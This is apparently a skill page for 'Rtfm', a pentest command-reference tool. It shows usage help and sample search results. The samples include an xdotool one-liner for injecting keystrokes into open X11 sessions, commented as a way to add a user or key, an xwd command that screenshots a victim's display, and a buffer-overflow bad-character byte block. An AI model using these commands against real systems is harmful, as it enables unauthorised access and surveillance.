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Rtfm

A database of common, interesting or useful commands, in one handy referable form

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/learn @leostat/Rtfm
About this skill

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0/100

Supported Platforms

Universal

README

What is it?

RTFM is a great and useful book, BUT a bit pointless when you have to transcribe it, so this little program will aim to be the spiritual successor to it.

I would recommend picking up a copy of the book from Amazon, it is pretty handy to have!

Quick Start

Download, Update, Look for something!
 $ chmod +x rtfm.py
 $ ./rtfm.py -u
 $ ./rtfm.py -e 'Something'

Usage

$ rtfm.py -h
Usage: rtfm.py [OPTIONS]

For when you just cant remember the syntax,  you should just RTFM

Options:
  --version             show program's version number and exit
  -e SA, --everything=SA
  -h, --help            show this help message and exit
  --delete=DELETE       Delete specified ID
  -t TAG, --tag=TAG     Specify one or more tags to look for (a, b, c)
  -c CMD, --cmd=CMD     Specify a command to search (ls)
  -R REMARK, --remark=REMARK
                        Search the comments feilds
  -r REFER, --reference=REFER
                        Search for the reference [reference]
  -a AUTHOR, --author=AUTHOR
                        Search for author
  -A DATE, --added-on=DATE
                        Search by date, useful for when you want to commit back!
  -p PRINTER, --print=PRINTER
                        Print Types : P(retty) p(astable) w(iki) h(tml) d(ump)
  -i INSERT, --insert=INSERT
                        Insert c(ommand) | t(ags) | r(eferances) |
                        (E)verything
  -D DUMP, --dump=DUMP  Just Dump infomration about
                        t(ags)|c(commands)|r(eferances)a(ll)
  -d, --debug           Display verbose processing details (default: False)
  -u, --update          Check for updates (default: false)
  -v                    Shows the current version number and the current DB
                        hash and exits

Example: rtfm.py -c rtfm -t linux -R help -r git -pP -d

Its pretty much a simple search program, nothing to fancy, examples include:

Searching the DB

Searching the DB is handled through the following switches: e, t, c, R, r, a and, A. When you are just browsing for a command, you will want to use e as this looks at the command, comment, and referances all at the same time, useful if you know a bit about something such as x11:

$ ./rtfm.py -e x11 -pP
+----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Added By Innes | Cmd ID : 82                                                                                                                                                                         |
+----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Command        | command="[cmd]";echo -n xdotool key " "; echo -n $command| sed  's# #€#g' | sed -e 's/\(.\)/\1 /g' | sed 's#/#slash#g' | sed 's#@#at#g'|  sed 's#€#space#g' | sed 's#-#minus#g'|sed |
|                | 's#>#greater#g'| sed 's#+#plus#g' | sed 's#"#quotedbl#g' | sed 's#~#asciitilde#g' | sed 's#\.#period#g' | sed 's#_#underscore#g'; echo KP_Enter                                     |
|                |                                                                                                                                                                                     |
| Comment        | Abuse open x11 : Think open term add user add key ;)                                                                                                                                |
| Tags           | linux                                                                                                                                                                               |
|                | bash                                                                                                                                                                                |
|                | interesting                                                                                                                                                                         |
| Date added     | 2018-02-11                                                                                                                                                                          |
| References     | https://necurity.co.uk                                                                                                                                                              |
|                | https://ubuntuforums.org/archive/index.php/t-1970619.html                                                                                                                           |
+----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Added By Innes | Cmd ID : 272                                                                                                                                                          |
+----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Command        | xwd -display [victim] :0 -root -out /tmp/[victim].xpm;xwd -display ip :0 -root -out /tmp/[victim].xpm; convert /tmp/[victim]; xpm -resize 1280x1024 /tmp/[victim].jpg |
|                |                                                                                                                                                                       |
| Comment        | take a screenshot from a open X11 and convert it to a jpg                                                                                                             |
| Tags           | linux                                                                                                                                                                 |
|                | bash                                                                                                                                                                  |
|                | scanning                                                                                                                                                              |
|                | pivoting                                                                                                                                                              |
| Date added     | 2018-02-11                                                                                                                                                            |
| References     | http://unix.stackexchange.com/questions/44821/how-do-i-screencap-another-xorg-display                                                                                 |
+----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+----------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Added By Innes | Cmd ID : 481                                                                                                                                                                                   |
+----------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Command        | "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\ |
|                | x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5 |
|                | f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\ |
|                | x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xb |
|                | e\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\ |
|                | xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"                                                                                                                       |
|                |                                                                                                                                                                                                |
| Comment        | Bad Char's block, re-send removing bad ones                                                                                                                                                    |
| Tags           | buffer overflow                                                                                                                                         

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